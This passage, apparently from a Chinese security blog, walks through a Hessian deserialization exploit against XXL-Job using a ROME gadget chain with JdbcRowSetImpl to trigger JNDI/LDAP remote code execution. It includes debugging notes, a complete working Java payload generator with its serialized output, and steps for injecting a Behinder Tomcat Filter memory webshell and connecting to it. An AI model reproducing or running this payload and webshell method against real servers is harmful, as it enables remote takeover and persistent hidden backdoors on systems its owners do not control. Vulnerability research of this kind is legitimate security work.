<dependency>
          <groupId>org.slf4j</groupId>
          <artifactId>slf4j-nop</artifactId>
          <version>1.7.2</version>
      </dependency>

再次执行:输出结果如下,但是没有弹出计算器。

序列化的对象:{com.rometools.rome.feed.impl.EqualsBean@5573d38e=com.rometools.rome.feed.impl.EqualsBean@5573d38e, 1=1},序列化后的值:HC0'com.rometools.rome.feed.impl.EqualsBean�	beanClassobj`Cjava.lang.Class�namea0)com.rometools.rome.feed.impl.ToStringBeanC0)com.rometools.rome.feed.impl.ToStringBean�	beanClassobjbacom.sun.rowset.JdbcRowSetImplCcom.sun.rowset.JdbcRowSetImpl�commandURL
dataSource
unicodeStreamasciiStream
charStreammap	listenersparamscNNldap://127.0.0.1:1389/juztn6��F�����TT���NNNNNVjava.util.Vector�����������V��NNNNNNNNNNNNNNNp�Mjava.util.HashtableZQ�11Z
反序列化之前的值:HC0'com.rometools.rome.feed.impl.EqualsBean�	beanClassobj`Cjava.lang.Class�namea0)com.rometools.rome.feed.impl.ToStringBeanC0)com.rometools.rome.feed.impl.ToStringBean�	beanClassobjbacom.sun.rowset.JdbcRowSetImplCcom.sun.rowset.JdbcRowSetImpl�commandURL
dataSource
unicodeStreamasciiStream
charStreammap	listenersparamscNNldap://127.0.0.1:1389/juztn6��F�����TT���NNNNNVjava.util.Vector�����������V��NNNNNNNNNNNNNNNp�Mjava.util.HashtableZQ�11Z,序列化之后的值:{1=1, com.rometools.rome.feed.impl.EqualsBean@5573d38e=com.rometools.rome.feed.impl.EqualsBean@5573d38e}

反序列化后的值{1=1, com.rometools.rome.feed.impl.EqualsBean@5573d38e=com.rometools.rome.feed.impl.EqualsBean@5573d38e}

调试分析:

在410行步入的时候,报错“Source code does not match the bytecode”。

public native void putObject(Object var1, long var2, Object var4);Unsafe 类中的一个 本地方法(由 native 关键字标识),其核心作用是通过 直接内存操作 修改对象字段的值。

在为obj对象构建字段是抛出异常:

7.2.5 问题解决

下载ysoserial的jar包:https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

放在lib下面:

然后在Project Structure中的Libraries中新建java库,选择这个这个文件。

7.2.6 调试分析

((Map)map).put(in.readObject(), in.readObject());

put中的两个in.readObject()是构建对象实例的过程,这个过程不会触发恶意代码的执行,关键是put方法。Map在调用put方法进行存数据的时候会调用hash函数计算冲突。

然后调用key.hashCode方法。

this._obj就是一个包含JdbcRowSetImpl的toStringBean对象

当toStringBean对象调用toString方法时会触发传入对象(jdbcRowSet)的getter方法以获取属性值。

通过反射获getName()取类名:com.sun.rowset.JdbcRowSetImpl

截屏2025-03-03 14.35.58

获取到JdbcRowSetImpl类名后,递归调用toString方法。

pds数组中保存的是JdbcRowSetImpl类的所有属性,共37个。

pds[i].getName() 获取属性的名称。

pds[i].getReadMethod() 获取相应属性的get方法。

  if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
       Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
       this.printProperty(sb, prefix + "." + pName, value);
}

这段代码通过反射遍历目标对象的属性方法,筛选并调用无参getter,最终将结果格式化为字符串。

比如第一个queryTimeout属性的value为0,然后通过printProperty方法拼接到sb字符串。

这里需要重点关注的是索引为28的属性:

处理到索引为3的属性是抛出了异常:

抛出的异常是:EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString(): null

可以看到索引3的属性名称是matchColumnNames

由于在这里抛出了异常,所以后续的dataSourceName轮不到解析就结束了。

具体报错代码:

Object value = pReadMethod.invoke(this._obj, NO_PARAMS);

所以尝试给这个属性设置值:

JdbcRowSetImpl中matchColumnNames参数的作用

JdbcRowSetImpl 中,matchColumnNames 参数的作用是定义在形成 SQL JOIN 时用于匹配的列名,其设置方式与 Joinable 接口的实现相关。matchColumnNames 参数用于指定多个列名,这些列将作为不同 RowSet 对象之间的关联条件。当多个 RowSet 被添加到 JoinRowSet 中时,系统会根据这些列名的值匹配行,从而构建类似 SQL JOIN 的关系表。

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/gz7vpo";
jdbcRowSet.setDataSourceName(url);
jdbcRowSet.setMatchColumn(new String[]{"column1", "column2"});

最终成功触发RCE✅

7.2.7 最终payload和输出结果

/*
 * author:sixiaokai
 * */

import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.Hessian2Input;
//import com.rometools.rome.feed.impl.EqualsBean;
//import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;


public class MyRome {
    // 序列化
    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); //定义字节输出流
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); //定义Hessian输出流,将序列化后的内容放到字节输出流
        hessian2Output.writeObject(o);
        hessian2Output.close();
        byte[] bytes = byteArrayOutputStream.toByteArray();
        //System.out.println("序列化的对象:" + o.toString() + "," + "序列化后的值:" + new String(bytes, 0, bytes.length));
        return bytes;
    }

    // 反序列化
    public static <T> T deserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        Object o = hessian2Input.readObject();
        hessian2Input.close();
        //System.out.println("反序列化之前的值:" + new String(bytes, 0, bytes.length) + "," + "序列化之后的值:" + o.toString());
        return (T) o;
    }

    // 通过反射设置对象的属性值
    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);//通过反射获得obj中的name字段
        field.setAccessible(true);
        field.set(obj, value);
    }

    // 通过反射获取对象的属性值
    public static Object getValue(Object obj, String name) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(obj);
    }

    // 构造哈希冲突的hashmap
    public static HashMap makeMap(Object v1, Object v2) throws Exception {
        HashMap hashMap = new HashMap<>();//new HashMap<>():实例化一个空的哈希映射(Java 7+支持的类型推断,等价于new HashMap<Object, Object>())。
        setValue(hashMap, "size", 2); //通过反射设置hashMap的size属性值
        /*
        下面这段代码的作用是动态获取 Java HashMap 内部存储键值对的节点类(Node 或 Entry),目的是为了兼容不同 JDK 版本中 HashMap 的实现差异。
         */
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeConstructor = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);//Node的构造方法
        nodeConstructor.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeConstructor.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeConstructor.newInstance(0, v2, v2, null));
        setValue(hashMap, "table", tbl);
        return hashMap;
    }

    public static void main(String[] args) throws Exception {
        // 构造包含恶意连接的JdbcRowSetImpl对象
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String jndiUrl = "ldap://127.0.0.1:1389/gz7vpo"; //托管恶意类的JNDI服务地址
        jdbcRowSet.setDataSourceName(jndiUrl);
        jdbcRowSet.setMatchColumn(new String[]{"column1", "column2"});

        // ToStringBean 和 EqualsBean
        ToStringBean jdbcRowSetBeanString = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
        EqualsBean jdbcRowSetEqualsBean = new EqualsBean(ToStringBean.class, jdbcRowSetBeanString);

        // 构造哈希冲突的hashmap
        HashMap hashMap = makeMap(jdbcRowSetEqualsBean, "1");

        //序列化
        byte[] s = serialize(hashMap);
        System.out.println("-------------------\n序列化后的值:"+new String(s,0,s.length));

        //反序列化
        System.out.println("--------------------\n反序列化后的值" + (HashMap) deserialize(s));
    }
}
-------------------
序列化后的值:HC0(com.sun.syndication.feed.impl.EqualsBean�
_beanClass_obj`Cjava.lang.Class�namea0*com.sun.syndication.feed.impl.ToStringBeanC0*com.sun.syndication.feed.impl.ToStringBean�
_beanClass_objbacom.sun.rowset.JdbcRowSetImplCcom.sun.rowset.JdbcRowSetImpl�commandURL
dataSource
unicodeStreamasciiStream
charStreammap	listenersparamscNNldap://127.0.0.1:1389/gz7vpo��F�����TT���NNNNNVjava.util.Vector�����������V��column1column2NNNNNNNNNNNNNNNp�Mjava.util.HashtableZQ�11Z



--------------------
反序列化后的值{1=1, com.sun.syndication.feed.impl.EqualsBean@1181e00b=com.sun.syndication.feed.impl.EqualsBean@1181e00b}

7.3 AbstractBeanFactoryPointcutAdvisor 链

就是最开始复现此漏洞使用的链。

八、内存马

Xxl-job整体是基于springboot服务的,所以打内存马的话,我们只需要挑选一个Tomcat的Filter内存马即可,这里有2个问题。

  • 第一个就是为什么不打springboot内存马

这是因为Springboot的interceptor本质上就是Filter,但是从优先级来看Filter是更高的,而在xxl-job实际上是有几个默认的interceptor的,所以优先级不够。

  • 为什么只能是Filter内存马

鉴于上面说的默认interceptor,xxl-job内置有登录鉴权的interceptor,所以注入controller型的内存马,会因为优先级的问题而失效
那么我们最终就选择使用JMG工具生成一个冰蝎的Tomcat Filter内存马,JMG这款工具生成的内存马兼容性很强,比较推荐使用:

这样我们就得到了内存马的base64字节码了。我们怎么进行测试呢,github有maven项目源码,我们在help路由处对这个字节码进行加载。

打法

  • 先写入xlst文件-hessian1.ser

  • 再注入内存马-hessian2.ser

  • 然后冰蝎连接。

讨论研究

核心难点:

1)写hashmap时为什么会直接跳转到AbstractPointcutAdvisor.class文件。=>Equals方法触发

2)内存马如何实现。


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录